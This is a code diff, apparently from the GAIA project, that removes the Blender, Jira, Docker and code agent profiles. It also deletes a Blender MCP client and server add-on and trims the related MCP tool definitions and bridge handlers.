@@ -2332,11 +2321,8 @@ def _print_completion(self): # Profile-specific quick start commands if self.profile == "sd": self._print( - ' gaia sd "create a cute robot kitten and tell me a story"' - ) - self._print(' gaia sd "sunset over mountains"') - self._print( - " gaia sd -i # Interactive mode" + " gaia chat Then ask for an image — " + "image generation runs through the agent's SD tools" ) elif self.profile == "chat": self._print( @@ -2411,7 +2397,7 @@ def run_init( Entry point for `gaia init` command. Args: - profile: Profile to initialize (minimal, chat, code, rag, all) + profile: Profile to initialize (minimal, chat, rag, all) skip_models: Skip model downloads skip_lemonade: Skip Lemonade installation check (for CI) force_reinstall: Force reinstall even if compatible version exists diff --git a/src/gaia/llm/lemonade_client.py b/src/gaia/llm/lemonade_client.py index 8062702f9..70a7a3828 100644 --- a/src/gaia/llm/lemonade_client.py +++ b/src/gaia/llm/lemonade_client.py @@ -437,13 +437,6 @@ class LemonadeStatus: min_ctx_size=GPU_CTX_SIZE, description="Interactive chat with RAG and vision support", ), - "code": AgentProfile( - name="code", - display_name="Code Agent", - models=["gemma-4-e4b"], - min_ctx_size=GPU_CTX_SIZE, - description="Autonomous coding assistant", - ), "bash": AgentProfile( name="bash", display_name="Bash Agent", @@ -467,27 +460,6 @@ class LemonadeStatus: min_ctx_size=GPU_CTX_SIZE, description="Document Q&A with retrieval and vision", ), - "blender": AgentProfile( - name="blender", - display_name="Blender Agent", - models=["gemma-4-e4b"], - min_ctx_size=GPU_CTX_SIZE, - description="3D content generation in Blender", - ), - "jira": AgentProfile( - name="jira", - display_name="Jira Agent", - models=["gemma-4-e4b"], - min_ctx_size=GPU_CTX_SIZE, - description="Jira issue management", - ), - "docker": AgentProfile( - name="docker", - display_name="Docker Agent", - models=["gemma-4-e4b"], - min_ctx_size=GPU_CTX_SIZE, - description="Docker container management", - ), "vlm": AgentProfile( name="vlm", display_name="Vision Agent", @@ -511,10 +483,10 @@ class LemonadeStatus: ), "sd": AgentProfile( name="sd", - display_name="SD Agent", + display_name="Stable Diffusion tools", models=["gemma-4-e4b"], min_ctx_size=GPU_CTX_SIZE, - description="Stable Diffusion image generation with LLM helper", + description="Image generation via the SD tool mixin", ), } @@ -4040,7 +4012,7 @@ def get_agent_profile(self, agent: str) -> Optional[AgentProfile]: Get agent profile by name. Args: - agent: Name of the agent (chat, code, rag, talk, blender, etc.) + agent: Name of the agent (chat, rag, talk, vlm, etc.) Returns: AgentProfile if found, None otherwise @@ -4360,7 +4332,7 @@ def initialize( status = client.initialize(agent="chat") # Initialize with custom context size - status = client.initialize(agent="code", ctx_size=65536) + status = client.initialize(agent="chat", ctx_size=65536) """ profile = self.get_agent_profile(agent) if not profile: @@ -4746,7 +4718,7 @@ def initialize_lemonade( status = initialize_lemonade(agent="chat") # Initialize for code agent with larger context - status = initialize_lemonade(agent="code", ctx_size=65536) + status = initialize_lemonade(agent="chat", ctx_size=65536) """ client = LemonadeClient(host=host, port=port, keep_alive=True) return client.initialize( diff --git a/src/gaia/mcp/blender_mcp_client.py b/src/gaia/mcp/blender_mcp_client.py deleted file mode 100644 index a93ae3069..000000000 --- a/src/gaia/mcp/blender_mcp_client.py +++ /dev/null @@ -1,232 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -# This Blender MCP client is a simplified and modified version of the BlenderMCP project from https://github.com/BlenderMCP/blender-mcp - -import json -import re -import socket - -from gaia.logger import get_logger - -# Defensive bound on response buffer size. A misbehaving server that -# trickles bytes in just under the per-recv timeout would otherwise grow -# the buffer without bound. Real Blender responses are KB-range; 16 MB -# leaves enormous headroom (e.g. for execute_code returning large stdout -# from a Blender Python script) while preventing pathological growth. -_MAX_RESPONSE_BYTES = 16 * 1024 * 1024 - - -class MCPError(Exception): - """Exception raised for MCP client errors.""" - - -# MCP client class for tests -class MCPClient: - log = get_logger(__name__) - - def __init__(self, host="localhost", port=9876): - self.host = host - self.port = port - # Use the class-level logger; do not mutate global log level here — - # the user's logging config decides verbosity. - self.log = self.__class__.log - - def _enhance_error_message(self, error_message): - """Enhance error messages with more helpful information.""" - # Detect common Python errors and provide better context - if "name '" in error_message and "is not defined" in error_message: - # Extract variable name from NameError - match = re.search(r"name '(\w+)' is not defined", error_message) - if match: - var_name = match.group(1) - return f"Variable '{var_name}' is not defined. Make sure to declare it before use or check for typos." - - # Handle object not found errors - if "Object not found:" in error_message: - obj_name = error_message.replace("Object not found: ", "") - return f"Object '{obj_name}' not found in the scene. It may have been deleted or renamed." - - # Return original message if no enhancement is available - return error_message - - def send_command(self, cmd_type, params=None, timeout: float = 120.0): - """Send a command to the Blender MCP server and return the parsed response. - - The Blender addon (src/gaia/mcp/blender_mcp_server.py) keeps the TCP - connection open after responding so it can accept further commands on - the same socket. We therefore cannot rely on ``recv()`` returning empty - (FIN) to know the response is complete — the server will never send - FIN. Instead we read incrementally and break as soon as a complete - JSON document can be parsed, mirroring the server's own framing in - ``blender_mcp_server.py:128-166``. - - ``timeout`` is the per-recv socket timeout (not cumulative) — long - Blender operations like ``bpy.ops.render.render(...)`` can take many - seconds without the server emitting any data, so the default is - deliberately generous. Pass a higher value for very long renders or - simulations. - - Regression-tested by ``tests/unit/mcp/test_blender_mcp_client.py``. - Fixes issue #1022. - """ - if params is None: - params = {} - - # Create command - command = {"type": cmd_type, "params": params} - - self.log.debug(f"Sending command: {cmd_type} with params: {params}") - - # Send command to server - try: - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: - sock.settimeout(timeout) - sock.connect((self.host, self.port)) - sock.sendall(json.dumps(command).encode("utf-8")) - - # Read incrementally; stop as soon as a complete JSON - # response parses out of the buffer. The server keeps the - # connection open afterwards (see docstring above), so a - # chunk-until-EOF loop would deadlock here. - # - # Catch UnicodeDecodeError as well as JSONDecodeError: a - # multi-byte UTF-8 character (e.g. an emoji or non-ASCII - # object name in an error message) can be split across - # ``recv()`` boundaries, raising UnicodeDecodeError on the - # partial buffer. Treat both as "keep reading". - buffer = b"" - parsed_response = None - decoder = json.JSONDecoder() - while True: - try: - chunk = sock.recv(65536) - except ( - ConnectionResetError, - ConnectionAbortedError, - BrokenPipeError, - ) as e: - # RST / abort / broken pipe instead of FIN — - # server crashed or closed forcefully mid-response. - # Same user-facing outcome: we don't have a complete - # response. - raise MCPError( - "Connection closed before a complete response was received" - ) from e - if not chunk: - # FIN before a complete JSON response. - raise MCPError( - "Connection closed before a complete response was received" - ) - buffer += chunk - if len(buffer) > _MAX_RESPONSE_BYTES: - raise MCPError( - f"Response exceeded {_MAX_RESPONSE_BYTES} bytes " - "without a parseable JSON document — refusing to " - "buffer further (possible server misbehaviour)." - ) - # Two-step parse: a multi-byte UTF-8 character split - # across recv() boundaries raises UnicodeDecodeError, - # not JSONDecodeError, so decode and parse separately. - try: - text = buffer.decode("utf-8") - except UnicodeDecodeError: - continue - # raw_decode parses the first complete JSON value and - # tolerates trailing data, so a hypothetically pipelined - # ``{"a":1}{"b":2}`` would yield the first object instead - # of looping until timeout. The current server sends one - # response per command, but this is cheap future-proofing. - try: - parsed_response, _ = decoder.raw_decode(text) - break - except json.JSONDecodeError: - continue - - if parsed_response["status"] == "error": - error_message = parsed_response.get("message", "Unknown error") - enhanced_message = self._enhance_error_message(error_message) - self.log.error(f"Error response: {error_message}") - raise MCPError(enhanced_message) - else: - self.log.debug(f"Response status: {parsed_response['status']}") - - return parsed_response - except ConnectionRefusedError: - error_msg = "Connection refused. Is the Blender MCP server running?" - self.log.error(f"Connection error: {error_msg}") - raise MCPError(error_msg) - except socket.timeout: - error_msg = ( - f"Timed out after {timeout}s waiting for response from Blender MCP " - f"server at {self.host}:{self.port}. The server may be unresponsive — " - "check Blender's console for errors." - ) - self.log.error(error_msg) - raise MCPError(error_msg) - except MCPError: - # Re-raise MCPError without wrapping it - raise - except Exception as e: - error_msg = f"Error: {str(e)}" - self.log.error(error_msg) - raise MCPError(error_msg) - - def execute_code(self, code, timeout: float = 600.0): - """Execute arbitrary Python code inside Blender. - - Defaults to a 10-minute per-recv timeout (vs. 120s for other - commands) because ``execute_code`` is the path used for - rendering, simulations, and complex geometry generation — - operations that can legitimately sit silent for many seconds - between any output. Pass a higher ``timeout`` for very long - renders. - """ - self.log.debug("Executing code in Blender") - return self.send_command("execute_code", {"code": code}, timeout=timeout) - - def get_scene_info(self): - self.log.debug("Getting scene info") - return self.send_command("get_scene_info") - - def create_object( - self, - type="CUBE", - name=None, - location=(0, 0, 0), - rotation=(0, 0, 0), - scale=(1, 1, 1), - ): - params = { - "type": type, - "location": location, - "rotation": rotation, - "scale": scale, - } - if name: - params["name"] = name - self.log.debug(f"Creating {type} object{' named ' + name if name else ''}") - return self.send_command("create_object", params) - - def modify_object( - self, name, location=None, rotation=None, scale=None, visible=None - ): - params = {"name": name} - if location is not None: - params["location"] = location - if rotation is not None: - params["rotation"] = rotation - if scale is not None: - params["scale"] = scale - if visible is not None: - params["visible"] = visible - self.log.debug(f"Modifying object '{name}'") - return self.send_command("modify_object", params) - - def delete_object(self, name): - self.log.debug(f"Deleting object '{name}'") - return self.send_command("delete_object", {"name": name}) - - def get_object_info(self, name): - self.log.debug(f"Getting info for object '{name}'") - return self.send_command("get_object_info", {"name": name}) diff --git a/src/gaia/mcp/blender_mcp_server.py b/src/gaia/mcp/blender_mcp_server.py deleted file mode 100644 index 768db101c..000000000 --- a/src/gaia/mcp/blender_mcp_server.py +++ /dev/null @@ -1,652 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -# This Blender MCP client is a simplified and modified version of the BlenderMCP project from https://github.com/BlenderMCP/blender-mcp - -import json -import socket -import threading -import time -import traceback - -import bpy -import mathutils -from bpy.props import BoolProperty, IntProperty - -bl_info = { - "name": "Simple Blender MCP", - "author": "BlenderMCP", - "version": (0, 3), - "blender": (3, 0, 0), - "location": "View3D > Sidebar > BlenderMCP", - "description": "Connect Blender via MCP", - "category": "Interface", -} - - -class SimpleBlenderMCPServer: - def __init__(self, host="localhost", port=9876): - self.host = host - self.port = port - self.running = False - self.socket = None - self.server_thread = None - - def start(self): - if self.running: - print("Server is already running") - return - - self.running = True - - try: - # Create socket - self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - self.socket.bind((self.host, self.port)) - self.socket.listen(1) - - # Start server thread - self.server_thread = threading.Thread(target=self._server_loop) - self.server_thread.daemon = True - self.server_thread.start() - - print(f"SimpleMCP server started on {self.host}:{self.port}") - except Exception as e: - print(f"Failed to start server: {str(e)}") - self.stop() - - def stop(self): - self.running = False - - # Close socket - if self.socket: - try: - self.socket.close() - except Exception as e: - print(f"Error closing socket: {e}") - self.socket = None - - # Wait for thread to finish - if self.server_thread: - try: - if self.server_thread.is_alive(): - self.server_thread.join(timeout=1.0) - except Exception as e: - print(f"Error joining server thread: {e}") - self.server_thread = None - - print("SimpleMCP server stopped") - - def _server_loop(self): - """Main server loop in a separate thread""" - print("Server thread started") - self.socket.settimeout(1.0) # Timeout to allow for stopping - - while self.running: - try: - # Accept new connection - try: - client, address = self.socket.accept() - print(f"Connected to client: {address}") - - # Handle client in a separate thread - client_thread = threading.Thread( - target=self._handle_client, args=(client,) - ) - client_thread.daemon = True - client_thread.start() - except socket.timeout: - # Just check running condition - continue - except Exception as e: - print(f"Error accepting connection: {str(e)}") - time.sleep(0.5) - except Exception as e: - print(f"Error in server loop: {str(e)}") - if not self.running: - break - time.sleep(0.5) - - print("Server thread stopped") - - def _handle_client(self, client): - """Handle connected client""" - print("Client handler started") - client.settimeout(None) # No timeout - buffer = b"" - - try: - while self.running: - # Receive data - try: - data = client.recv(8192) - if not data: - print("Client disconnected") - break - - buffer += data - try: - # Try to parse command - command = json.loads(buffer.decode("utf-8")) - buffer = b"" - - # Execute command in Blender's main thread - def execute_wrapper(): - try: - response = self.execute_command(command) - response_json = json.dumps(response) - try: - client.sendall(response_json.encode("utf-8")) - except Exception as e: - print( - f"Failed to send response - client disconnected: {e}" - ) - except Exception as e: - print(f"Error executing command: {str(e)}") - traceback.print_exc() - try: - error_response = { - "status": "error", - "message": str(e), - } - client.sendall( - json.dumps(error_response).encode("utf-8") - ) - except Exception as send_err: - print( - f"Failed to send error response - client disconnected: {send_err}" - ) - return None - - # Schedule execution in main thread - bpy.app.timers.register(execute_wrapper, first_interval=0.0) - except json.JSONDecodeError: - # Incomplete JSON data received, continue buffering - continue - except Exception as e: - print(f"Error receiving data: {str(e)}") - break - except Exception as e: - print(f"Error in client handler: {str(e)}") - finally: - try: - client.close() - except Exception as e: - print(f"Error closing client connection: {e}") - print("Client handler stopped") - - def execute_command(self, command): - """Execute a command in the main Blender thread""" - try: - cmd_type = command.get("type") - _params = command.get("params", {}) - - # Ensure we're in the right context - if cmd_type in ["create_object", "modify_object", "delete_object"]: - override = bpy.context.copy() - view3d_areas = [ - area for area in bpy.context.screen.areas if area.type == "VIEW_3D" - ] - if not view3d_areas: - return { - "status": "error", - "message": "No VIEW_3D area found in Blender context", - } - override["area"] = view3d_areas[0] - with bpy.context.temp_override(**override): - return self._execute_command_internal(command) - else: - return self._execute_command_internal(command) - - except Exception as e: - print(f"Error executing command: {str(e)}") - traceback.print_exc() - return {"status": "error", "message": str(e)} - - def _execute_command_internal(self, command): - """Internal command execution with proper context""" - cmd_type = command.get("type") - params = command.get("params", {}) - - # Define available command handlers - handlers = { - "get_scene_info": self.get_scene_info, - "create_object": self.create_object, - "modify_object": self.modify_object, - "delete_object": self.delete_object, - "get_object_info": self.get_object_info, - "execute_code": self.execute_code, - } - - handler = handlers.get(cmd_type) - if handler: - try: - print(f"Executing handler for {cmd_type}") - result = handler(**params) - print("Handler execution complete") - return {"status": "success", "result": result} - except Exception as e: - print(f"Error in handler: {str(e)}") - traceback.print_exc() - return {"status": "error", "message": str(e)} - else: - return {"status": "error", "message": f"Unknown command type: {cmd_type}"} - - def get_scene_info(self): - """Get information about the current Blender scene""" - try: - print("Getting scene info...") - # Simplify the scene info to reduce data size - scene_info = { - "name": bpy.context.scene.name, - "object_count": len(bpy.context.scene.objects), - "objects": [], - } - - # Collect minimal object information (limit to first 10 objects) - for i, obj in enumerate(bpy.context.scene.objects): - if i >= 10: - break - - obj_info = { - "name": obj.name, - "type": obj.type, - # Only include basic location data - "location": [ - round(float(obj.location.x), 2), - round(float(obj.location.y), 2), - round(float(obj.location.z), 2), - ], - } - scene_info["objects"].append(obj_info) - - print(f"Scene info collected: {len(scene_info['objects'])} objects") - return scene_info - except Exception as e: - print(f"Error in get_scene_info: {str(e)}") - traceback.print_exc() - return {"error": str(e)} - - @staticmethod - def _get_aabb(obj): - """Returns the world-space axis-aligned bounding box (AABB) of an object.""" - if obj.type != "MESH": - raise TypeError("Object must be a mesh") - - # Get the bounding box corners in local space - local_bbox_corners = [mathutils.Vector(corner) for corner in obj.bound_box] - - # Convert to world coordinates - world_bbox_corners = [ - obj.matrix_world @ corner for corner in local_bbox_corners - ] - - # Compute axis-aligned min/max coordinates - min_corner = mathutils.Vector(map(min, zip(*world_bbox_corners))) - max_corner = mathutils.Vector(map(max, zip(*world_bbox_corners))) - - return [[*min_corner], [*max_corner]] - - def create_object( - self, - type="CUBE", - name=None, - location=(0, 0, 0), - rotation=(0, 0, 0), - scale=(1, 1, 1), - ): - """Create a new object in the scene""" - try: - # Deselect all objects first - bpy.ops.object.select_all(action="DESELECT") - - # Create the object based on type - if type == "CUBE": - bpy.ops.mesh.primitive_cube_add( - location=location, rotation=rotation, scale=scale - ) - elif type == "SPHERE": - bpy.ops.mesh.primitive_uv_sphere_add( - location=location, rotation=rotation, scale=scale - ) - elif type == "CYLINDER": - bpy.ops.mesh.primitive_cylinder_add( - location=location, rotation=rotation, scale=scale - ) - elif type == "PLANE": - bpy.ops.mesh.primitive_plane_add( - location=location, rotation=rotation, scale=scale - ) - elif type == "CONE": - bpy.ops.mesh.primitive_cone_add( - location=location, rotation=rotation, scale=scale - ) - elif type == "EMPTY": - bpy.ops.object.empty_add( - location=location, rotation=rotation, scale=scale - ) - elif type == "CAMERA": - bpy.ops.object.camera_add(location=location, rotation=rotation) - elif type == "LIGHT": - bpy.ops.object.light_add( - type="POINT", location=location, rotation=rotation, scale=scale - ) - else: - raise ValueError(f"Unsupported object type: {type}") - - # Force update the view layer - bpy.context.view_layer.update() - - # Get the active object (which should be our newly created object) - obj = bpy.context.view_layer.objects.active - - # If we don't have an active object, something went wrong - if obj is None: - raise RuntimeError("Failed to create object - no active object") - - # Make sure it's selected - obj.select_set(True) - - # Rename if name is provided - if name: - obj.name = name - if obj.data: - obj.data.name = name - - # Return the object info - result = { - "name": obj.name, - "type": obj.type, - "location": [obj.location.x, obj.location.y, obj.location.z], - "rotation": [ - obj.rotation_euler.x, - obj.rotation_euler.y, - obj.rotation_euler.z, - ], - "scale": [obj.scale.x, obj.scale.y, obj.scale.z], - } - - if obj.type == "MESH": - bounding_box = self._get_aabb(obj) - result["world_bounding_box"] = bounding_box - - return result - except Exception as e: - print(f"Error in create_object: {str(e)}") - traceback.print_exc() - return {"error": str(e)} - - def modify_object( - self, name, location=None, rotation=None, scale=None, visible=None - ): - """Modify an existing object in the scene""" - # Find the object by name - obj = bpy.data.objects.get(name) - if not obj: - raise ValueError(f"Object not found: {name}") - - # Modify properties as requested - if location is not None: - obj.location = location - - if rotation is not None: - obj.rotation_euler = rotation - - if scale is not None: - obj.scale = scale - - if visible is not None: - obj.hide_viewport = not visible - obj.hide_render = not visible - - result = { - "name": obj.name, - "type": obj.type, - "location": [obj.location.x, obj.location.y, obj.location.z], - "rotation": [ - obj.rotation_euler.x, - obj.rotation_euler.y, - obj.rotation_euler.z, - ], - "scale": [obj.scale.x, obj.scale.y, obj.scale.z], - "visible": obj.visible_get(), - } - - if obj.type == "MESH": - bounding_box = self._get_aabb(obj) - result["world_bounding_box"] = bounding_box - - return result - - def delete_object(self, name): - """Delete an object from the scene""" - obj = bpy.data.objects.get(name) - if not obj: - raise ValueError(f"Object not found: {name}") - - # Store the name to return - obj_name = obj.name - - # Select and delete the object - if obj: - bpy.data.objects.remove(obj, do_unlink=True) - - return {"deleted": obj_name} - - def get_object_info(self, name): - """Get detailed information about a specific object""" - obj = bpy.data.objects.get(name) - if not obj: - raise ValueError(f"Object not found: {name}") - - # Basic object info - obj_info = { - "name": obj.name, - "type": obj.type, - "location": [obj.location.x, obj.location.y, obj.location.z], - "rotation": [ - obj.rotation_euler.x, - obj.rotation_euler.y, - obj.rotation_euler.z, - ], - "scale": [obj.scale.x, obj.scale.y, obj.scale.z], - "visible": obj.visible_get(), - } - - if obj.type == "MESH": - bounding_box = self._get_aabb(obj) - obj_info["world_bounding_box"] = bounding_box - - # Add mesh data if applicable - mesh = obj.data - obj_info["mesh"] = { - "vertices": len(mesh.vertices), - "edges": len(mesh.edges), - "polygons": len(mesh.polygons), - } - - return obj_info - - def execute_code(self, code): - """Execute arbitrary Blender Python code""" - try: - # Create a namespace for execution and a buffer to capture output - import io - import sys - from contextlib import redirect_stderr, redirect_stdout - - namespace = {"bpy": bpy} - stdout_buffer = io.StringIO() - stderr_buffer = io.StringIO() - result_value = None - - # Print to Blender console that we're executing code - print("\n----- EXECUTING CODE IN BLENDER -----") - print(code) - print("----- CODE EXECUTION OUTPUT -----") - - # Class to split output between buffer and console - class TeeOutput: - def __init__(self, buffer, original): - self.buffer = buffer - self.original = original - - def write(self, text): - self.buffer.write(text) - self.original.write(text) - - def flush(self): - self.original.flush() - - # Setup tee for both stdout and stderr - stdout_tee = TeeOutput(stdout_buffer, sys.__stdout__) - stderr_tee = TeeOutput(stderr_buffer, sys.__stderr__) - - # Execute the code and capture output and return value - with redirect_stdout(stdout_tee), redirect_stderr(stderr_tee): - _exec_result = exec(code, namespace) # pylint: disable=exec-used - if "result" in namespace: - result_value = namespace["result"] - - # Get the captured output - stdout_output = stdout_buffer.getvalue() - stderr_output = stderr_buffer.getvalue() - - # Print execution completion to console - print("----- CODE EXECUTION COMPLETE -----") - if result_value: - print("----- RETURNED RESULT -----") - print(str(result_value)) - print("\n") - - # Return a more detailed response - return { - "executed": True, - "stdout": stdout_output, - "stderr": stderr_output, - "result": result_value, - } - except Exception as e: - tb_str = traceback.format_exc() - # Print error to console - print("----- CODE EXECUTION ERROR -----") - print(str(e)) - print(tb_str) - print("--------------------------------") - raise Exception(f"Code execution error: {str(e)}\n{tb_str}") - - -# Blender UI Panel -class SIMPLEMCP_PT_Panel(bpy.types.Panel): - bl_label = "Blender MCP" - bl_idname = "SIMPLEMCP_PT_Panel" - bl_space_type = "VIEW_3D" - bl_region_type = "UI" - bl_category = "BlenderMCP" - - def draw(self, context): - layout = self.layout - scene = context.scene - - layout.prop(scene, "simplemcp_port") - - if not scene.simplemcp_server_running: - layout.operator("simplemcp.start_server", text="Start MCP Server") - else: - layout.operator("simplemcp.stop_server", text="Stop MCP Server") - layout.label(text=f"Running on port {scene.simplemcp_port}") - - -# Operator to start the server -class SIMPLEMCP_OT_StartServer(bpy.types.Operator): - bl_idname = "simplemcp.start_server" - bl_label = "Connect to GAIA" - bl_description = "Start the BlenderMCP server to connect to GAIA" - - def execute(self, context): - scene = context.scene - - # Create a new server instance - if not hasattr(bpy.types, "simplemcp_server") or not bpy.types.simplemcp_server: - bpy.types.simplemcp_server = SimpleBlenderMCPServer( - port=scene.simplemcp_port - ) - - # Start the server - bpy.types.simplemcp_server.start() - scene.simplemcp_server_running = True - - return {"FINISHED"} - - -# Operator to stop the server -class SIMPLEMCP_OT_StopServer(bpy.types.Operator): - bl_idname = "simplemcp.stop_server" - bl_label = "Stop the connection" - bl_description = "Stop the connection" - - def execute(self, context): - scene = context.scene - - # Stop the server if it exists - if hasattr(bpy.types, "simplemcp_server") and bpy.types.simplemcp_server: - bpy.types.simplemcp_server.stop() - del bpy.types.simplemcp_server - - scene.simplemcp_server_running = False - - return {"FINISHED"} - - -# Registration functions -def register(): - bpy.types.Scene.simplemcp_port = IntProperty( - name="Port", - description="Port for the BlenderMCP server", - default=9876, - min=1024, - max=65535, - ) - - bpy.types.Scene.simplemcp_server_running = BoolProperty( - name="Server Running", default=False - ) - - bpy.utils.register_class(SIMPLEMCP_PT_Panel) - bpy.utils.register_class(SIMPLEMCP_OT_StartServer) - bpy.utils.register_class(SIMPLEMCP_OT_StopServer) - - print("BlenderMCP addon registered") - - -def unregister(): - # Stop the server if it's running - if hasattr(bpy.types, "simplemcp_server") and bpy.types.simplemcp_server: - try: - bpy.types.simplemcp_server.stop() - del bpy.types.simplemcp_server - except Exception as e: - print(f"Error stopping server: {str(e)}") - traceback.print_exc() - - try: - bpy.utils.unregister_class(SIMPLEMCP_PT_Panel) - bpy.utils.unregister_class(SIMPLEMCP_OT_StartServer) - bpy.utils.unregister_class(SIMPLEMCP_OT_StopServer) - except Exception as e: - print(f"Error unregistering classes: {str(e)}") - traceback.print_exc() - - try: - del bpy.types.Scene.simplemcp_port - del bpy.types.Scene.simplemcp_server_running - except Exception as e: - print(f"Error removing properties: {str(e)}") - traceback.print_exc() - - print("BlenderMCP addon unregistered") - - -if __name__ == "__main__": - register() diff --git a/src/gaia/mcp/mcp.json b/src/gaia/mcp/mcp.json index 7aabe103f..893ba6483 100644 --- a/src/gaia/mcp/mcp.json +++ b/src/gaia/mcp/mcp.json @@ -18,7 +18,9 @@ "custom": { "supported": true, "configuration": { - "servers": ["gaia-bridge"], + "servers": [ + "gaia-bridge" + ], "connection": "http://localhost:8765" } } @@ -26,35 +28,15 @@ "tools": { "gaia.query": { "description": "Execute AI queries using GAIA's LLM for testing", - "servers": ["gaia-bridge"] + "servers": [ + "gaia-bridge" + ] }, "gaia.chat": { "description": "Interactive chat with conversation history", - "servers": ["gaia-bridge"] - }, - "gaia.blender.create": { - "description": "Create 3D content using Blender integration", - "servers": ["gaia-bridge"] - }, - "gaia.eval": { - "description": "Run evaluation and benchmarking", - "servers": ["gaia-bridge"] - }, - "gaia.jira": { - "description": "Natural language Jira orchestration via GAIA's intelligent agent", - "servers": ["gaia-bridge"], - "parameters": { - "query": { - "type": "string", - "description": "Natural language query for Jira operations" - }, - "operation": { - "type": "string", - "enum": ["query", "create", "update"], - "default": "query", - "description": "Type of operation to perform" - } - } + "servers": [ + "gaia-bridge" + ] } }, "rateLimits": { @@ -69,4 +51,4 @@ }, "version": "1.0.0", "schema": "https://modelcontextprotocol.io/schemas/v1/mcp.json" -} \ No newline at end of file +} diff --git a/src/gaia/mcp/mcp_bridge.py b/src/gaia/mcp/mcp_bridge.py index 65a77b2c4..c2766f43b 100644 --- a/src/gaia/mcp/mcp_bridge.py +++ b/src/gaia/mcp/mcp_bridge.py @@ -12,25 +12,17 @@ import json import os import secrets -import shutil import sys -import tempfile from http.server import BaseHTTPRequestHandler, HTTPServer -from pathlib import Path from typing import Any, Dict from urllib.parse import urlparse -from python_multipart.multipart import MultipartParser, parse_options_header - # Add GAIA to path sys.path.insert( 0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) ) from gaia.llm import create_client # pylint: disable=wrong-import-position -from gaia.llm.lemonade_client import ( # pylint: disable=wrong-import-position - DEFAULT_MODEL_NAME, -) from gaia.logger import get_logger # pylint: disable=wrong-import-position # pylint: enable=wrong-import-position @@ -52,79 +44,6 @@ PUBLIC_PATHS = frozenset({"/health"}) -class MultipartCollector: - def __init__(self): - self.fields = {} - self.files = {} - self._headers = [] - self._name = None - self._filename = None - self._buffer = None - - def _parse_cd(self, value: str): - name = None - filename = None - try: - parts = [p.strip() for p in value.split(";")] - for p in parts: - pl = p.lower() - if pl.startswith("name="): - name = p.split("=", 1)[1].strip().strip('"') - elif pl.startswith("filename="): - filename = p.split("=", 1)[1].strip().strip('"') - except (AttributeError, IndexError, ValueError) as e: - logger.debug("Failed to parse Content-Disposition %r: %s", value, e) - return name, filename - - def on_part_begin(self): - self._headers = [] - self._name = None - self._filename = None - self._buffer = io.BytesIO() - - def on_header_field(self, data: bytes, start: int, end: int): - field = data[start:end].decode("latin-1") - self._headers.append([field, ""]) - - def on_header_value(self, data: bytes, start: int, end: int): - if self._headers: - self._headers[-1][1] += data[start:end].decode("latin-1") - - def on_headers_finished(self): - for k, v in self._headers: - if k.lower() == "content-disposition": - name, filename = self._parse_cd(v) - self._name = name - self._filename = filename - - def on_part_data(self, data: bytes, start: int, end: int): - if self._buffer is not None: - self._buffer.write(data[start:end]) - - def on_part_end(self): - if self._name is None: - self._buffer = None - return - if self._filename: - self.files[self._name] = { - "file_name": self._filename, - "file_object": self._buffer, - } - else: - self.fields[self._name] = self._buffer.getvalue() - self._buffer = None - - def callbacks(self): - return { - "on_part_begin": self.on_part_begin, - "on_header_field": self.on_header_field, - "on_header_value": self.on_header_value, - "on_headers_finished": self.on_headers_finished, - "on_part_data": self.on_part_data, - "on_part_end": self.on_part_end, - } - - class GAIAMCPBridge: """HTTP-native MCP Bridge for GAIA - no WebSockets needed!""" @@ -172,48 +91,6 @@ def _initialize_agents(self): "capabilities": ["conversation", "history", "context_management"], } - # Blender agent - try: - from gaia_agent_blender.agent import BlenderAgent - - self.agents["blender"] = { - "class": BlenderAgent, - "description": "3D content creation", - "capabilities": ["3d_modeling", "scene_manipulation", "rendering"], - } - except ImportError: - logger.warning("Blender agent not available") - # Summarize agent - try: - from gaia_agent_summarize.agent import SummarizerAgent - - self.agents["summarize"] = { - "class": SummarizerAgent, - "description": "Text/document summarization", - "capabilities": ["summarize", "pdf", "email", "transcript"], - "init_params": {}, - } - logger.info("✅ Summarize agent registered") - except ImportError as e: - logger.warning(f"Summarize agent not available: {e}") - # Jira agent - THE KEY ADDITION - try: - from gaia_agent_jira.agent import JiraAgent - - self.agents["jira"] = { - "class": JiraAgent, - "description": "Natural language Jira orchestration", - "capabilities": ["search", "create", "update", "bulk_operations"], - "init_params": { - "model_id": DEFAULT_MODEL_NAME, - "silent_mode": True, - "debug": False, - }, - } - logger.info("✅ Jira agent registered") - except ImportError as e: - logger.warning(f"Jira agent not available: {e}") - logger.info(f"Initialized {len(self.agents)} agents") except Exception as e: @@ -241,23 +118,6 @@ def _register_tools(self): except Exception as e: logger.warning(f"Could not load mcp.json: {e}") - # Ensure core tools are registered - if "gaia.jira" not in self.tools: - self.tools["gaia.jira"] = { - "name": "gaia.jira", - "description": "Natural language Jira operations", - "inputSchema": { - "type": "object", - "properties": { - "query": {"type": "string"}, - "operation": { - "type": "string", - "enum": ["query", "create", "update"], - }, - }, - }, - } - if "gaia.chat" not in self.tools: self.tools["gaia.chat"] = { "name": "gaia.chat", @@ -281,58 +141,16 @@ def _register_tools(self): def execute_tool(self, tool_name: str, arguments: Dict[str, Any]) -> Dict[str, Any]: """Execute a tool and return results.""" try: - if tool_name == "gaia.jira": - return self._execute_jira(arguments) - elif tool_name == "gaia.query": + if tool_name == "gaia.query": return self._execute_query(arguments) elif tool_name == "gaia.chat": return self._execute_chat(arguments) - elif tool_name == "gaia.blender.create": - return self._execute_blender(arguments) - elif tool_name == "gaia.summarize": - return self._execute_summarize(arguments) else: return {"error": f"Tool not implemented: {tool_name}"} except Exception as e: logger.error(f"Tool execution error: {e}") return {"error": str(e)} - def _execute_jira(self, args: Dict[str, Any]) -> Dict[str, Any]: - """Execute Jira operations.""" - query = args.get("query", "") - - # Get or create agent - agent_config = self.agents.get("jira") - if not agent_config: - return {"error": "Jira agent not available"} - - # Lazy initialization - if "instance" not in agent_config: - agent_class = agent_config["class"] - init_params = agent_config.get("init_params", {}) - agent_config["instance"] = agent_class(**init_params) - - # Initialize Jira config discovery - try: - config = agent_config["instance"].initialize() - logger.info( - f"Jira initialized: {len(config.get('projects', []))} projects found" - ) - 